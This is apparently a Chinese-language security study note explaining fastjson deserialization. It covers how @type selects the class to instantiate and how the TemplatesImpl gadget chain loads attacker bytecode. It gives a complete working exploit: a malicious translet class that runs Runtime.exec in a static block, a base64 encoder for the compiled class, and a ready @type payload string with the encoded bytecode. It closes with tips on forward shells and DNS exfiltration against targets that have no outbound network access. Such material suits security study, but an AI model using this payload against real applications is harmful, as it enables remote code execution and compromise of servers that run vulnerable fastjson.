fastjson
fastjson
fastjson解析流程
fastjson是用来实现json字符串和类之间的转换,也就是它可以把类转换为一个json字符串来表示,也可以把代表类的json字符串解析为类
当fastjson对相应的json字符串进行解析时会调用类属性的set和get方法
一个例子:
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class fastJsonTest {
static class Person{
public String name;
private int age;
public Person(){
this.name = "gr3";
this.age = 1;
}
public void setName(String name) {
System.out.println("use setName"+"\n");
this.name = name;
}
public String getName(){
System.out.println("use getName"+"\n");
return this.name;
}
public void setAge(int age) {
System.out.println("use setAge"+"\n");
this.age = age;
}
public int getAge() {
System.out.println("use getAge"+"\n");
return this.age;
}
}
public static void main(String[] args) {
//String jsonString = "{\"@type\":\"org.example.fastJsonTest$Person\",\"age\":2,\"name\":\"gr3\"}";
Person p = new Person();
String s = JSON.toJSONString(p, SerializerFeature.WriteClassName);
System.out.println(s+"\n");
System.out.println(JSON.parseObject(s));
//System.out.println(JSON.parseObject(jsonString));
}
}
结果:
use getAge
use getName
{"@type":"org.example.fastJsonTest$Person","age":1,"name":"gr3"}
use setAge
use setName
use getAge
use getName
{"name":"gr3","age":1}
通过结果可知把类对应的对象转json字符串会调用类属性的get方法,而parseObject也就是把json字符串转回类会调用类属性的get和set方法。而jsoo字符串中的@type字段可以指定要解析的类,也就是如果parseObject的参数可控,我们又找到了一个类它的属性的get、set方法可以利用(get或set逻辑可以和之前学的类加载、cc链、jndi等联系起来就叫可利用)就能进行攻击
可利用set、get方法
set的查找方式:
- 方法名长度大于4
- 非静态方法
- 返回值为void或当前类
- 方法名以set开头
- 参数个数为1
get的查找方式:
- 方法名长度大于等于4
- 非静态方法
- 以get开头且第4个字母为大写
- 无传入参数
- 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
利用
payload总结:
https://pazuris.cn/2023/08/31/FastJson全系漏洞分析/#FastJson各种payload
TemplatesImpl
fastjson->TemplatesImpl. getOutputProperties()->TemplatesImpl.newTransformer()->TemplatesImpl.getTransletInstance()->TemplatesImpl.defineTransletClasses()->TemplatesImpl.defineClass()->ClassLoader.defineClass()
TemplatesImpl. getOutputProperties():
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
可以看到这里的getOutputProperties()逻辑调用了newTransformer(),而之前cc3链知道TemplatesImpl.newTransformer()->TemplatesImpl.getTransletInstance()->TemplatesImpl.defineTransletClasses()->TemplatesImpl.defineClass()->ClassLoader.defineClass()这条链是可以利用加载恶意类的。现在就需要查看具体的细节设置属性值满足一些条件让fastjson->TemplatesImpl. getOutputProperties()->TemplatesImpl.newTransformer()->TemplatesImpl.getTransletInstance()->TemplatesImpl.defineTransletClasses()->TemplatesImpl.defineClass()->ClassLoader.defineClass()可以成功加载我们的恶意类
是要调用getOutputProperties(),所有json字符串需要有_outputProperties属性
看newTransformer()中的:
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
_tfactory需要设置,getTransletInstance():
if (_name == null) return null;
if (_class == null) defineTransletClasses();
_name!=null,_class==null才可以调用defineTransletClasses()
,看defineTransletClasses(),会加载_bytecodes指定的类的字节码,所以恶意类是给到_bytecodes,但是字节码怎么写到一个json字符串里面(分析解析流程可以知道是编码为base64)
需要设置的属性:
outputProperties、 name、bytecodes、tfactory、class
恶意类(编译为class文件):
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class fastJsonEvil extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
}
catch (IOException e){
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
base64编码器:
package org.example;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;
import java.util.Base64.Encoder;
public class base64Encoder {
public static void main(String args[]) {
byte[] buffer = null;
String filepath = "D:\\javaSecurity\\rmiServer\\untitled\\src\\main\\java\\fastJsonEvil.class";
try {
FileInputStream fis = new FileInputStream(filepath);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int n;
while((n = fis.read(b))!=-1) {
bos.write(b,0,n);
}
fis.close();
bos.close();
buffer = bos.toByteArray();
}catch(Exception e) {
e.printStackTrace();
}
Encoder encoder = Base64.getEncoder();
String value = encoder.encodeToString(buffer);
System.out.println(value);
}
}
payload:
public static void main(String[] args) {
String text1 = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAdAQAKU291cmNlRmlsZQEAEWZhc3RKc29uRXZpbC5qYXZhDAAKAAsHACMMACQAJQEABGNhbGMMACYAJwEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgAoAQAMZmFzdEpzb25FdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAAHQABAAEAAAAFKrcAAbEAAAABAA0AAAAGAAEAAAALAAEADgAPAAIADAAAABkAAAADAAAAAbEAAAABAA0AAAAGAAEAAAAYABAAAAAEAAEAEQABAA4AEgACAAwAAAAZAAAABAAAAAGxAAAAAQANAAAABgABAAAAHQAQAAAABAABABEACAATAAsAAQAMAAAAVAADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAIADQAAABYABQAAAA4ACQASAAwAEAANABEAFgATABQAAAAHAAJMBwAVCQABABYAAAACABc=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ },'_class':{ }}";
//JSON.parseObject(payload);
JSON.parseObject(text1, Feature.SupportNonPublicField);
}
}
需要加Feature.SupportNonPublicField,因为fastjson反序列化只对public的属性进行。
fastjson不出网
https://xz.aliyun.com/t/12492#toc-2
fastjson一般都是配合rmi或者ldap进行远程恶意类调用来攻击,如果不出网则无法加载攻击者自己搭建的远程服务的恶意类。这时需要找目标本地的java环境是否可以利用,比如可以用TemplatesImpl类加载恶意类,而恶意类内容可以通过json字符串的_bytecodes来指定(不出网恶意内容可以搞正向shell,或者数据外带比如DNSLOG、静态资源写入)